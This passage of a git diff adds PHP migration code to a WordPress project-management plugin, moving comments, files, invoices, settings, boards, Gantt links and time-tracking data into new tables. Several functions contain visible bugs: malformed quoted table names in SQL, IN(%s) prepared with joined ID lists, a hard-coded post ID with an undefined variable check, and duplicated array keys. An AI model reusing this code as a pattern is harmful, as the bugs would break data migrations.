ARRAY_A ); + + $comments = []; + + foreach ( $OComments as $comment ) { + $comments[$comment[ 'comment_ID' ]] = $this->create_comments( $comment, $newProjectID, $commentable_type, $ids[$comment['comment_post_ID']] ); + + $this->upgrade_observe_migration( [ + 'comments' => true + ] ); + } + + return $comments; + } + + function create_comments( $comment, $newProjectID, $commentable_type, $commentable_id ) { + if ( !$comment ) { + return ; + } + if ( isset( $comment['comment_type'] ) && $comment['comment_type'] == 'cpm_activity' ) { + $commentable_type = 'task_activity'; + } + $newComment = $this->save_object( new Comment, [ + 'content' => $comment['comment_content'], + 'mentioned_users' => null, + 'commentable_id' => $commentable_id, + 'commentable_type' => $commentable_type, + 'project_id' => $newProjectID, + 'created_by' => $comment['user_id'], + 'updated_by' => $comment['user_id'], + 'updated_by' => $comment['user_id'], + 'updated_by' => $comment['user_id'], + 'created_at' => $comment['comment_date'], + 'updated_at' => $comment['comment_date'], + ] ); + + $files = get_comment_meta( $comment['comment_ID'], '_files', true ); + if ( !empty( $files ) ) { + foreach ( $files as $file ) { + + $this->add_file( [ + 'fileable_id' => $newComment->id, + 'fileable_type' => 'comment', + 'parent' => 0, + 'type' => 'file', + 'attachment_id' => $file, + 'project_id' => $newComment->project_id, + 'created_by' => $newComment->created_by, + 'updated_by' => $newComment->updated_by, + ] ); + } + } + + return $newComment->id; + } + + + function get_file( $OldProjectId, $newProjectID ) { + if ( !$OldProjectId ) { + return ; + } + global $wpdb; + $table = $wpdb->prefix . 'cpm_file_relationship'; + $files = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM {$wpdb->prefix}'cpm_file_relationship' WHERE project_id=%d ORDER BY `id` ASC", $OldProjectId ), ARRAY_A ); + $fileArr = []; + $comments = []; + + foreach ( $files as $file ) { + $metas =[]; + $parent = !empty( $fileArr[$file['parent_id']] ) ? $fileArr[$file['parent_id']]: 0; + if( $file['is_dir'] == 1 ) { + $type = 'folder'; + }elseif ( $file['type'] == 'doc' ) { + $type = 'doc'; + }elseif ( $file['type'] == 'google_doc') { + $type = 'link'; + }else{ + $type = 'pro_file'; + } + + $newFile = $this->add_file( [ + 'fileable_id' => null, + 'fileable_type' => 'file', + 'parent' => $parent, + 'type' => $type, + 'attachment_id' => $file['attachment_id'], + 'project_id' => $newProjectID, + 'created_by' => $file['created_by'], + 'updated_by' => $file['created_by'], + 'created_at' => $file['created_at'], + 'updated_at' => $file['updated_at'], + ] ); + + if( $file['post_id'] ){ + $meta = $this->get_doc_meta( $file['post_id'], $newFile->id, $newProjectID ); + $comments[$file['post_id']] = $newFile->id; + }elseif ( $file['attachment_id'] ) { + $comments[$file['attachment_id']] = $newFile->id; + } + + $fileArr[$file['id']] = $newFile->id; + $meta['private'] = $file['private'] == 'yes' ? 1 : 0; + + if ( !empty( $file['dir_name'] ) ){ + $meta['title'] = $file['dir_name']; + } + + $this->add_meta( $meta, $newFile, $newProjectID, 'file' ); + } + + $this->set_post_attachment( $comments, $newProjectID ); + $this->get_comments( $comments, $newProjectID, 'file' ); + $this->get_revision( $comments, $newProjectID ); + + return $fileArr; + + } + + function get_doc_meta( $post_id, $docid, $newProjectID ) { + if ( !$post_id ) { + return ; + } + global $wpdb; + $post = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM {$wpdb->posts} WHERE ID=%d", $post_id ) ); + $meta = []; + $meta['title'] = $post->post_title; + $meta['description'] = $post->post_content; + if( !empty( $post->post_excerpt ) ){ + $meta['url'] = $post->post_excerpt; + } + + return $meta; + } + + function set_post_attachment( $ids, $newProjectID ) { + if ( empty( $ids ) ) { + return ; + } + global $wpdb; + $in = implode( ',', array_keys( $ids ) ); + $attachments = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM {$wpdb->posts} WHERE post_parent IN(%s) and post_type=%s", $in, 'attachment' ), ARRAY_A); + + foreach ( $attachments as $attachment ){ + $this->add_file([ + 'fileable_id' => $ids[$attachment['post_parent']], + 'fileable_type' => 'file', + 'parent' => $ids[$attachment['post_parent']], + 'type' => 'doc', + 'attachment_id' => $attachment["ID"], + 'project_id' => $newProjectID, + 'created_by' => $attachment['post_author'], + 'updated_by' => $attachment['post_author'], + 'created_at' => $attachment['post_date'], + 'updated_at' => $attachment['post_date'], + ]); + } + } + + function get_revision( $ids, $newProjectID ) { + if ( empty( $ids ) ) { + return ; + } + global $wpdb; + $in = implode( ',', array_keys( $ids ) ); + $revisions = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM {$wpdb->posts} WHERE post_parent IN(%s) and post_type=%s", $in, 'revision' ), ARRAY_A); + + foreach( $revisions as $revision ){ + $meta=[]; + $newFile = $this->add_file( [ + 'fileable_id' => null, + 'fileable_type' => 'file', + 'parent' => $ids[$revision['post_parent']], + 'type' => 'revision', + 'attachment_id' => null, + 'project_id' => $newProjectID, + 'created_by' => $revision['post_author'], + 'updated_by' => $revision['post_author'], + 'created_at' => $revision['post_date'], + 'updated_at' => $revision['post_date'], + ] ); + + $meta['title'] = $revision['post_title']; + $meta['description'] = $revision['post_content']; + if( !empty( $revision['post_excerpt'] ) ){ + $meta['url'] = $revision ['post_excerpt']; + } + + $this->add_meta( $meta, $newFile, $newProjectID, 'file' ); + } + } + + function get_invoice( $oldProjectId, $newProject ) { + if ( !$oldProjectId ) { + return ; + } + + global $wpdb; + + $oldInvoice = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->posts WHERE post_parent=%d AND post_type=%s", $oldProjectId, 'cpm_invoice' ), ARRAY_A ); + + $invoice = []; + + foreach ( $oldInvoice as $post ) { + $invoice[$post['ID']] = $this->create_invoice( $post, $newProject ); + } + return $invoice; + } + + function create_invoice( $post, $newProject ) { + global $wpdb; + $invoiceArr =[ + 'client_id' => get_post_meta( $post['ID'], 'client_id', true ), + 'title' => $post['post_title'] , + 'start_at' => $post['post_date'], + 'due_date' => get_post_meta( $post['ID'], 'due_date', true ), + 'discount' => get_post_meta( $post['ID'], 'discount', true ), + 'partial' => get_post_meta( $post['ID'], 'partial_payment', true ) == 'yes' ? 1 : 0, + 'partial_amount' => get_post_meta( $post['ID'], 'partial_amount', true ), + 'terms' => get_post_meta( $post['ID'], 'terms', true ), + 'client_note' => $post['post_content'], + 'items' => serialize( $this->get_invoice_item( $post, $newProject ) ), + 'project_id' => $newProject->id, + 'status' => get_post_meta( $post['ID'], 'statue', true ) == 'paid' ? 1 : 0, + 'created_by' => $post['post_author'], + 'updated_by' => $post['post_author'], + 'created_at' => $post['post_date'], + 'updated_at' => $post['post_modified'], + ]; + $inviceTable = $wpdb->prefix . 'pm_invoice'; + $invoice = $wpdb->insert( $inviceTable, $invoiceArr ); + $invoice_id = $wpdb->insert_id; + + $payments = get_post_meta( $post['ID'], 'cpmi_payment', true ); + + if( !empty( $payments ) ) { + foreach ( $payments as $payment ) { + $payment_date = empty( $payment['date'] ) ? $post['post_modified'] : $payment['date']; + + $data = [ + 'entity_id' => $invoice_id, + 'entity_type' => 'invoice', + 'meta_key' => 'invoice_payment', + 'meta_value' => maybe_serialize([ + 'amount' => floatval( $payment['amount'] ), + 'date' => date( 'Y-m-d', strtotime( $payment_date ) ), + 'notes' => $payment['notes'], + 'gateway' => $payment['method'] + ]), + 'project_id' => $newProject->id, + 'created_by' => $invoiceArr['client_id'], + 'updated_by' => $invoiceArr['client_id'], + 'created_at' => $payment_date, + 'updated_at' => $payment_date, + ]; + $this->save_object( New Meta, $data ); + + } + } + + return $invoice_id; + } + + function get_invoice_item( $post, $newProject ) { + $items = get_post_meta( $post['ID'], 'item', true ); + $hours = get_post_meta( $post['ID'], 'hour', true ); + $newItem = array(); + + foreach ( $items as $item ) { + $arr = []; + $arr['task'] = $this->get_task_by_title( $item->name, $newProject ); // find id, title time + $arr['description'] = $item->details; + $arr['amount'] = $item->amount; + $arr['quantity'] = $item->qty; + $arr['tax'] = $item->tax_percent; + $arr['descriptionField'] = isset($item->details); + $newItem['entryNames'][] = $arr; + } + + foreach ( $hours as $item ) { + $arr = []; + $arr['task'] = $this->get_task_by_title( $item->name, $newProject ); // find id, title time + $arr['description'] = $item->details; + $arr['amount'] = $item->amount; + $arr['hour'] = $item->qty; + $arr['tax'] = $item->tax_percent; + $arr['descriptionField'] = isset($item->details); + $newItem['entryTasks'][] = $arr; + } + return $newItem; + } + + function get_task_by_title( $title , $newProject ) { + if ( empty( $title ) ) { + return []; + } + + $task = Task::where('title', $title )->where( 'project_id', $newProject->id )->first(); + + if( ! $task->id ) { + return []; + } + + $arr['id'] = $task->id; + $arr['title'] = $task->title; + $arr['time'] = [ + 'hour' => 0 + ]; + + return $arr; + } + + function set_project_settings( $oldProjectId, $newProject ) { + + $settings = get_post_meta( 27, '_settings', true); + if ( empty( $sections ) ) { + return ; + } + + $co_worker = array(); + $client = array(); + $oldCW = $settings['co_worker']; + $oldClient = $settings['client']; + + $co_worker['create_message'] = ( isset( $oldCW['create_message'] ) && $oldCW['create_message'] == 'yes' ) ? true : false; + $co_worker['view_private_message'] = ( isset( $oldCW['msg_view_private'] ) && $oldCW['msg_view_private'] == 'yes' ) ? true : false; + $co_worker['create_list'] = ( isset( $oldCW['create_todolist'] ) && $oldCW['create_todolist'] == 'yes' ) ? true : false; + $co_worker['view_private_list'] = ( isset( $oldCW['tdolist_view_private'] ) && $oldCW['tdolist_view_private'] == 'yes' ) ? true : false; + $co_worker['create_task'] = ( isset( $oldCW['create_todo'] ) && $oldCW['create_todo'] == 'yes' ) ? true : false; + $co_worker['view_private_task'] = ( isset( $oldCW['todo_view_private'] ) && $oldCW['todo_view_private'] == 'yes' ) ? true : false; + $co_worker['create_milestone'] = ( isset( $oldCW['create_milestone'] ) && $oldCW['create_milestone'] == 'yes' ) ? true : false; + $co_worker['view_private_milestone'] = ( isset( $oldCW['milestone_view_private'] ) && $oldCW['milestone_view_private'] == 'yes' ) ? true : false; + $co_worker['create_file'] = ( isset( $oldCW['upload_file_doc'] ) && $oldCW['upload_file_doc'] == 'yes' ) ? true : false; + $co_worker['view_private_file'] = ( isset( $oldCW['file_view_private'] ) && $oldCW['file_view_private'] == 'yes' ) ? true : false; + + $client['create_message'] = ( isset( $oldClient['create_message'] ) && $oldClient['create_message'] == 'yes' ) ? true : false; + $client['view_private_message'] = ( isset( $oldClient['msg_view_private'] ) && $oldClient['msg_view_private'] == 'yes' ) ? true : false; + $client['create_list'] = ( isset( $oldClient['create_todolist'] ) && $oldClient['create_todolist'] == 'yes' ) ? true : false; + $client['view_private_list'] = ( isset( $oldClient['tdolist_view_private'] ) && $oldClient['tdolist_view_private'] == 'yes' ) ? true : false; + $client['create_task'] = ( isset( $oldClient['create_todo'] ) && $oldClient['create_todo'] == 'yes' ) ? true : false; + $client['view_private_task'] = ( isset( $oldClient['todo_view_private'] ) && $oldClient['todo_view_private'] == 'yes' ) ? true : false; + $client['create_milestone'] = ( isset( $oldClient['create_milestone'] ) && $oldClient['create_milestone'] == 'yes' ) ? true : false; + $client['view_private_milestone'] = ( isset( $oldClient['milestone_view_private'] ) && $oldClient['milestone_view_private'] == 'yes' ) ? true : false; + $client['create_file'] = ( isset( $oldClient['upload_file_doc'] ) && $oldClient['upload_file_doc'] == 'yes' ) ? true : false; + $client['view_private_file'] = ( isset( $oldClient['file_view_private'] ) && $oldClient['file_view_private'] == 'yes' ) ? true : false; + + + $newSetings = [ + 'co_worker' => $co_worker, + 'client' => $client + ]; + + $this->save_object( new Settings, [ + 'key' => 'capabilities', + 'value' => $newSetings, + 'project_id' => $newProject->id, + 'created_by' => $newProject->created_by, + 'updated_by' => $newProject->updated_by, + 'created_at' => $newProject->created_at, + 'updated_at' => $newProject->updated_at, + ] ); + } + + function set_bp_group( $oldProjectId, $newProject ) { + $group_id = get_post_meta( $oldProjectId, '_bp_group_id', true ); + if ( empty( $group_id )) { + return ; + } + + $metaObj = $this->save_object( new Meta, [ + 'entity_id' => $group_id, + 'entity_type' => 'pm_buddypress', + 'meta_key' => 'group_id', + 'meta_value' => $group_id, + 'project_id' => $newProject->id, + 'created_by' => $newProject->created_by, + 'updated_by' => $newProject->updated_by, + 'created_at' => $newProject->created_at, + 'updated_at' => $newProject->updated_at, + ] ); + + } + + function get_kanboard( $oldProjectId, $newProject, $tasks ) { + $sections = get_post_meta( $oldProjectId, '_custom_section', true ); + $newSections = array(); + + if ( empty( $sections ) || !is_array( $sections ) ) { + return ; + } + + foreach ( $sections as $section ) { + $newBoard = $this->save_object( new Board, [ + 'title' => $section['name'], + 'description' => null, + 'order' => $section['order'], + 'type' => 'kanboard', + 'project_id' => $newProject->id, + 'created_by' => $newProject->created_by, + 'updated_by' => $newProject->updated_by, + 'created_at' => $newProject->created_at, + 'updated_at' => $newProject->updated_at, + ]); + $newSections[$section['section_id']] = $newBoard->id; + } + if ( is_array( $tasks ) && !empty( $tasks ) ) { + foreach ( $tasks as $oldTaskId => $newTaskId ) { + $section_id = get_post_meta( $oldTaskId, '_section_id', true ); + $order = get_post_meta( $oldTaskId, '_kanboard_order', true ); + + if ( empty( $section_id ) ){ + continue ; + } + + $this->save_object( new Boardable, [ + 'board_id' => $newSections[$section_id], + 'board_type' => 'kanboard', + 'boardable_id' => $newTaskId, + 'boardable_type' => 'task', + 'order' => $order, + 'created_by' => $newProject->created_by, + 'updated_by' => $newProject->updated_by, + 'created_at' => $newProject->created_at, + 'updated_at' => $newProject->updated_at, + ] ); + } + } + + } + + function gantt_upgrate( $taskLists, $tasks, $taskParent ) { + global $wpdb; + if( is_array( $tasks ) ){ + + $ganttTable = $wpdb->prefix . 'pm_gantt_chart_links'; + $now = date( 'Y-m-d', strtotime( current_time('mysql') ) ); + $user = wp_get_current_user(); + + foreach ( $tasks as $old => $new ) { + $links = get_post_meta( $old, '_link', true ); + if( empty( $links ) ) { + continue ; + } + + foreach ( $links as $link ) { + if ( array_key_exists( $link, $tasks ) ) { + $wpdb->insert( $ganttTable, [ + 'source' => $new, + 'target' => $tasks[$link], + 'type' => 1, + 'created_by' => $user->ID, + 'updated_by' => $user->ID, + 'created_at' => $now, + 'updated_at' => $now, + ]); + } + } + } + } + + } + + function set_gantt_data( $items, $taskLists, $tasks ) { + + if(!is_array( $items ) && empty( $items ) ) { + return ; + } + + foreach ( $items as $old => $new ) { + $links = get_post_meta( $old, '_link', true ); + + if( empty( $links ) ) { + continue ; + } + + foreach ( $links as $link ) { + // if ( array_key_exists( $link, $taskLists ) ) { + // $this->save_object( new Gantt, [ + // 'source' => $new, + // 'target' => $taskLists[$link], + // 'type' => 1, + // ]); + // } + if ( array_key_exists( $link, $tasks ) ) { + $this->save_object( new Gantt, [ + 'source' => $new, + 'target' => $tasks[$link], + 'type' => 1, + ]); + } + } + } + } + + function get_activity( $oldProjectId, $newProjectId, $discuss, $tasklist, $tasks, $comments ) { + if( !$oldProjectId ) { + return ; + } + global $wpdb; + $activities = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM {$wpdb->comments} WHERE comment_post_ID=%d AND comment_type=%s ORDER BY `comment_ID` ASC", $oldProjectId, 'cpm_activity' ), ARRAY_A ); + + foreach ( $activities as $activity ) { + + list( $attr, $newCntent ) = $this->get_attr_array( $activity['comment_content'] ); + $meta = [ 'text' => $newCntent ]; + $resource_type = ""; + $resource_id = 0; + + foreach ( $attr as $key => $value ) { + + if ( !empty( $value['title'] ) ) { + $title = $value['title']; + } else { + $title = ''; + } + + switch ( $key ) { + + case 'cpm_msg_url': + if ( empty( $discuss[$value['id']] ) ) { + break; + } + + $resource_id = $discuss[$value['id']]; + $resource_type = 'discussion_board'; + $meta['discussion_board_title'] = $title; + + break; + case 'cpm_tasklist_url': + if ( empty( $tasklist[$value['id']] ) ) { + break; + } + + $resource_id = $tasklist[$value['id']]; + $resource_type = 'task_list'; + $meta['task_list_title'] = $title; + + break; + case 'cpm_task_url': + if ( empty( $tasks[$value['id']] ) ) { + break; + } + $resource_id = $tasks[$value['id']]; + $resource_type = 'task'; + $meta['task_title'] = $title; + + break; + case 'cpm_comment_url': + + $resource_id = $value['id']; + $resource_type = 'comment'; + $meta['comment_id'] = $value['id']; + + break; + case 'cpm_user_url': + break; + + } + } + $this->created_activity( $activity, $resource_id, $resource_type, $meta, $newProjectId ); + + } + } + + function created_activity( $activity, $resource_id, $resource_type, $meta, $newProjectId ) { + $this->save_object( new Activity, [ + 'actor_id' => $activity['user_id'], + 'action' => 'cpm_migration', + 'action_type' => 'migrated', + 'resource_id' => $resource_id, + 'resource_type' => $resource_type, + 'meta' => $meta, + 'project_id' => $newProjectId, + 'created_at' => $activity['comment_date'], + 'updated_at' => $activity['comment_date'], + ] ); + + $this->upgrade_observe_migration( [ + 'comments' => true + ] ); + } + + + function get_attr_array( $str ) { + $attr = []; + $arr = [ + 'cpm_msg_url' => '{{meta.discussion_board_title}}', + 'cpm_user_url' => '{{actor.data.display_name}}', + 'cpm_task_url' => '{{meta.task_title}}', + 'cpm_tasklist_url' => '{{meta.task_list_title}}', + 'cpm_comment_url' => '{{meta.comment_id}}' + ]; + $text = $str; + $pattern = '\[(\[?)(cpm_msg_url|cpm_user_url|cpm_task_url|cpm_tasklist_url|cpm_comment_url)(?![\w-])([^\]\/]*(?:\/(?!\])[^\]\/]*)*?)(?:(\/)\]|\](?:([^\[]*+(?:\[(?!\/\2\])[^\[]*+)*+)\[\/\2\])?)(\]?)'; + $sdf = preg_replace_callback( "/$pattern/s", function ( $match ) use ( &$attr, $arr, &$text ) { + + $text = str_replace($match[0], $arr[$match[2]], $text ); + + $attr[$match[2]] = shortcode_parse_atts( $match[3] ); + if( empty( $attr[$match[2]]['title'] )){ + if( strpos($match[0], 'title=') !== false ){ + $title = substr( $match[0], strpos($match[0], 'title=') + 7, -2); + $title = preg_replace("/[\"\'\}\]]/m", '' , $title); + $attr[$match[2]]['title'] = $title; + } + } + }, $str ); + + return array($attr, $text); + } + + function add_time_tracker( $oldProjectId, $newProjectID, $taskList, $tasks ) { + if ( !$oldProjectId ) { + return ; + } + + global $wpdb; + $table = $wpdb->prefix. 'cpm_time_tracker'; + $timetracker = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM {$wpdb->prefix} 'cpm_time_tracker' WHERE project_id=%d", $oldProjectId ), ARRAY_A ); + if ( is_wp_error( $timetracker ) ) { + return; + } + $timetrackerTable = $wpdb->prefix . 'pm_time_tracker'; + $now = date( 'Y-m-d', strtotime( current_time('mysql') ) ); + foreach( $timetracker as $time ){ + $wpdb->insert( + $timetrackerTable, + [ + 'user_id' => $time['user_id'], + 'project_id' => $newProjectID, + 'list_id' => $taskList[$time['tasklist_id']], + 'task_id' => $tasks[$time['task_id']], + 'start' => $time['start'], + 'stop' => $time['stop'], + 'total' => $time['total'], + 'run_status' => $time['run_status'] == 'no' ? 0 : 1, + 'created_by' => $time['user_id'], + 'updated_by' => $time['user_id'], + 'created_at' => $now, + 'updated_at' => $now, + ] + ); + } + } + + function add_file( $arr ) { + return $this->save_object( new File, $arr ); + } + + function add_board( $post , $board_type, $newProjectID ) { + $newBoard = $this->save_object( new Board, [ + 'title' => $post['post_title'], + 'description' => $post['post_content'], + 'order' => $post['menu_order'], + 'type' => $board_type, + 'project_id' => $newProjectID, + 'created_by' => $post['post_author'], + 'updated_by' => $post['post_author'], + 'created_at' => $post['post_date'], + 'updated_at' => $post['post_modified'], + ]); + + return $newBoard; + } + + function add_meta( $meta , $object, $newProjectID, $entity_type = null ) { + $meta_ids = []; + foreach ( $meta as $key => $value ) { + if( empty( $value ) ){ + continue ; + } + $metaObj = $this->save_object( new Meta, [ + 'entity_id' => $object->id, + 'entity_type' => $entity_type !== null? $entity_type : $object->type, + 'meta_key' => $key, + 'meta_value' => $value, + 'project_id' => $newProjectID, + 'created_by' => $object->created_by, + 'updated_by' => $object->updated_by, + 'created_at' => $object->created_at, + 'updated_at' => $object->updated_at, + ] ); + + $meta_ids[] = $metaObj->id; + } + + return $meta_ids; + } + + function set_settings() { + $genral = get_option( 'cpm_general', array() ); + $mail = get_option( 'cpm_mails', array() ); + $page = get_option( 'cpm_page', array() ); + $woo_projects = get_option( 'cpmwoo_settings', array() ); + $cpm_integration = get_option( 'cpm_integration', array() ); + $projects = get_option( 'pm_upgrade', array() ); + $invoice = get_option( 'cpm_invoice', array() ); + $newSettings = array(); + $woo_project = array(); + + if ( is_array( $woo_projects ) && !empty( $woo_projects ) ){ + foreach ( $woo_projects as $wp ) { + $role = []; + if ( is_array( $wp['role'] ) && !empty( $wp['role'] ) ) { + foreach ( $wp['role'] as $key => $value ) { + $role[] = [ + 'user_id' => $key, + 'role_id' => $value !== 'co_worker' ? 1 : 2, + ]; + } + } + + $woo_project[] = [ + 'action' => $wp['type'], + 'product_ids' => array($wp['product_id']), + 'project_id' => $projects[$wp['project_id']], + 'assignees' => $role + ]; + } + } + if( isset( $genral['project_manage_role'] ) ) { + $newSettings['managing_capability'] = array_values( $genral['project_manage_role'] ); + } + if( isset( $genral['project_create_role'] ) ) { + $newSettings['project_create_capability'] = array_values( $genral['project_create_role'] ); + } + if( !empty( $woo_project ) ) { + $newSettings['woo_project'] = $woo_project; + } + + if( !empty( $genral ) ){ + $this->set_new_setting( $newSettings, 'upload_limit', $genral, 'upload_limit' ); + $this->set_new_setting( $newSettings, 'project_per_page', $genral, 'pagination' ); + $this->set_new_setting( $newSettings, 'list_per_page', $genral, 'show_todo' ); + $this->set_new_setting( $newSettings, 'list_show', $genral, 'todolist_show' ); + $this->set_new_setting( $newSettings, 'incomplete_tasks_per_page', $genral, 'show_incomplete_tasks' ); + $this->set_new_setting( $newSettings, 'complete_tasks_per_page', $genral, 'show_completed_tasks' ); + $this->set_new_setting( $newSettings, 'task_start_field', $genral, 'task_start_field', 'on' ); + $this->set_new_setting( $newSettings, 'daily_digest', $genral, 'daily_digest', 'on' ); + } + + if ( !empty($mail) ) { + $this->set_new_setting( $newSettings, 'from_email', $mail, 'email_from' ); + $this->set_new_setting( $newSettings, 'link_to_backend', $mail, 'email_url_link', 'backend' ); + $this->set_new_setting( $newSettings, 'email_type', $mail, 'email_type' ); + $this->set_new_setting( $newSettings, 'enable_bcc', $mail, 'email_bcc_enable', 'on' ); + } + + if( !empty( $page ) ) { + update_option( 'pm_pages', $page ); + // $this->set_new_setting( $newSettings, 'project', $page, 'project' ); + // $this->set_new_setting( $newSettings, 'my_task', $page, 'my_task' ); + // $this->set_new_setting( $newSettings, 'calendar', $page, 'calendar' ); + } + + if ( !empty( $cpm_integration ) ) { + $this->set_new_setting( $newSettings, 'after_order_complete', $cpm_integration, 'woo_duplicate', 'paid' ); + } + + if ( !empty( $invoice ) ) { + $this->set_new_setting( $newSettings['invoice'], 'theme_color', $invoice, 'theme_color' ); + $this->set_new_setting( $newSettings['invoice'], 'currency_code', $invoice, 'currency' ); + $this->set_new_setting( $newSettings['invoice'], 'paypal', $invoice, 'payment_gateway', 'paypal' ); + $this->set_new_setting( $newSettings['invoice'], 'paypal_mail', $invoice, 'paypal_email' ); + $this->set_new_setting( $newSettings['invoice'], 'sand_box_mode', $invoice, 'paypal_sand_box', 'on' ); + $this->set_new_setting( $newSettings['invoice'], 'paypal_instruction', $invoice, 'gate_instruct_paypal' ); + $this->set_new_setting( $newSettings['invoice'], 'organization', $invoice, 'organization' ); + $this->set_new_setting( $newSettings['invoice'], 'address_line_1', $invoice, 'address_line_1' ); + $this->set_new_setting( $newSettings['invoice'], 'address_line_2', $invoice, 'address_line_2' ); + $this->set_new_setting( $newSettings['invoice'], 'city', $invoice, 'city' ); + $this->set_new_setting( $newSettings['invoice'], 'sate_province', $invoice, 'state' ); + $this->set_new_setting( $newSettings['invoice'], 'zip_code', $invoice, 'zip' ); + $this->set_new_setting( $newSettings['invoice'], 'country_code', $invoice, 'country' ); + } + + foreach ( $newSettings as $key => $value ) { + $settings = Settings::firstOrCreate([ + 'key' => $key + ]); + $settings->update_model( ['key'=>$key, 'value'=> $value] ); + } + + } + + function set_new_setting( &$settings, $newkey, $oldsettings, $oldkey, $willtrue = null ) { + + if( !isset( $oldsettings[$oldkey] ) || empty( $oldsettings[$oldkey] ) ) { + return ; + } + if( $willtrue != null ) { + $settings[$newkey] = $oldsettings[$oldkey] == $willtrue ? true : false; + } + $settings[$newkey] = $oldsettings[$oldkey]; + } + + function migrate_category() { + global $wpdb; + + $terms = $wpdb->get_results( "SELECT a.term_taxonomy_id, a.taxonomy, a.description, a.term_id, b.name FROM {$wpdb->term_taxonomy} AS a INNER JOIN {$wpdb->terms} AS b ON a.term_id = b.term_id WHERE a.taxonomy = 'cpm_project_category'", ARRAY_A ); + + $categories = []; + + $object = wp_list_pluck($terms, 'term_taxonomy_id' ); + if ( empty( $object ) ) { + return; + } + $object = implode(',', $object); + + $terms_releation = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM {$wpdb->term_relationships} WHERE term_taxonomy_id in(%s)", $object ), ARRAY_A ); + + $projects = get_option( "pm_db_migration", [] ); + + + foreach ( $terms as $term ) { + $cat = Category::firstOrCreate( [ + 'title' => $term['name'], + 'description' => $term['description'], + 'categorible_type' => 'project', + ]); + + $pid = []; + array_map( function ( $item ) use ( $term, $projects, &$pid ) { + if($item['term_taxonomy_id'] == $term['term_taxonomy_id'] ) { + if( !empty( $projects[$item['object_id']] ) ) { + $pid[] = $projects[$item['object_id']]; + } + + } + }, $terms_releation); + + if( !empty( $pid ) ) { + $cat->projects()->attach( $pid ); + } + + $categories[$term['term_taxonomy_id']] = $cat->id; + } + return $categories; + } + + /** + * save object from model + * @param object $object new model + * @param array $arr model data + * @return object new model + */ + function save_object( $object, $arr ) { + foreach ($arr as $key => $value) { + $object->{$key} = $value; + } + + $object->unsetEventDispatcher(); + + if( $object->save() ) { + return $object; + } + } + + function create_invoice_table() { + global $wpdb; + $table_name = $wpdb->prefix . 'pm_invoice'; + // `status` tinyint(4) NOT NULL DEFAULT 0 COMMENT '0: Incomplete; 1: Complete; 2: Partial', + // `partial` tinyint(4) NOT NULL DEFAULT 0 COMMENT '1: Partial; 0: Not Partial;', + require_once( ABSPATH . 'wp-admin/includes/upgrade.php' ); + + $sql = "CREATE TABLE IF NOT EXISTS {$table_name} ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT, + `title` varchar(255) NOT NULL, + `client_id` int(11) UNSIGNED NOT NULL, + `project_id` int(11) UNSIGNED NOT NULL, + `status` tinyint(4) NOT NULL DEFAULT 0, + `start_at` timestamp NULL DEFAULT NULL, + `due_date` timestamp NULL DEFAULT NULL, + `discount` double(8,2) NOT NULL DEFAULT '0.00', + `partial` tinyint(4) NOT NULL DEFAULT 0, + `partial_amount` double(8,2) NOT NULL DEFAULT '0.00', + `terms` text, + `client_note` text, + `items` longtext NOT NULL, + `created_by` int(11) UNSIGNED DEFAULT NULL, + `updated_by` int(11) UNSIGNED DEFAULT NULL, + `created_at` timestamp NULL DEFAULT NULL, + `updated_at` timestamp NULL DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `project_id` (`project_id`), + KEY `client_id` (`client_id`) + ) DEFAULT CHARSET=utf8"; + + + dbDelta( $sql ); + } + + function create_gantt_chart_table() { + global $wpdb; + $table_name = $wpdb->prefix . 'pm_gantt_chart_links'; + + $sql = "CREATE TABLE IF NOT EXISTS {$table_name} ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT, + `source` int(11) UNSIGNED NOT NULL, + `target` int(11) UNSIGNED NOT NULL, + `type` int(11) UNSIGNED NOT NULL, + `created_by` int(11) UNSIGNED DEFAULT NULL, + `updated_by` int(11) UNSIGNED DEFAULT NULL, + `created_at` timestamp NULL DEFAULT NULL, + `updated_at` timestamp NULL DEFAULT NULL, + PRIMARY KEY (`id`) + ) DEFAULT CHARSET=utf8"; + + require_once( ABSPATH . 'wp-admin/includes/upgrade.php' ); + dbDelta( $sql ); + } + + + function create_time_tracker_table() { + global $wpdb; + $table_name = $wpdb->prefix . 'pm_time_tracker'; + + // `run_status` tinyint(4) NOT NULL COMMENT '1: Running; 0: Stop;', + + + $sql = "CREATE TABLE IF NOT EXISTS {$table_name} ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT, + `user_id` int(11) UNSIGNED NOT NULL, + `project_id` int(11) UNSIGNED NOT NULL, + `list_id` int(11) UNSIGNED NOT NULL, + `task_id` int(11) UNSIGNED NOT NULL, + `start` int(11) UNSIGNED NOT NULL, + `stop` int(11) UNSIGNED NOT NULL, + `total` int(11) UNSIGNED NOT NULL, + `run_status` tinyint(4) NOT NULL, + `created_by` int(11) UNSIGNED DEFAULT NULL, + `updated_by` int(11) UNSIGNED DEFAULT NULL, + `created_at` timestamp NULL DEFAULT NULL, + `updated_at` timestamp NULL DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `task_id` (`task_id`), + KEY `project_id` (`project_id`) + ) DEFAULT CHARSET=utf8"; + + require_once( ABSPATH . 'wp-admin/includes/upgrade.php' ); + dbDelta( $sql ); + } + + function insert_client_role () { + $user = wp_get_current_user(); + $now = date( 'Y-m-d', strtotime( current_time('mysql') ) ); + if ( ! Role::where('slug', 'client')->exists() ) { + Role::insert([ + [ + 'title' => 'Client', + 'slug' => 'client', + 'description' => 'Client is a person who provid the project.', + 'status' => 0, + 'created_by' => $user->ID, + 'updated_by' => $user->ID, + 'created_at' => $now, + 'updated_at' => $now, + ], + ]); + return true; + } + + return true; + } +} diff --git a/core/Upgrades/Upgrade_2_2.php b/core/Upgrades/Upgrade_2_2.php index 70ff1903d..4cc8ce7f5 100644 --- a/core/Upgrades/Upgrade_2_2.php +++ b/core/Upgrades/Upgrade_2_2.php @@ -1,48 +1,48 @@ -create_inbox_list(); - } - - public function create_inbox_list() { - $projects = Project::get(['id']); - - $projects->each( function( $project ) { - $meta = Meta::firstOrCreate([ - 'entity_id' => $project->id, - 'entity_type' => 'task_list', 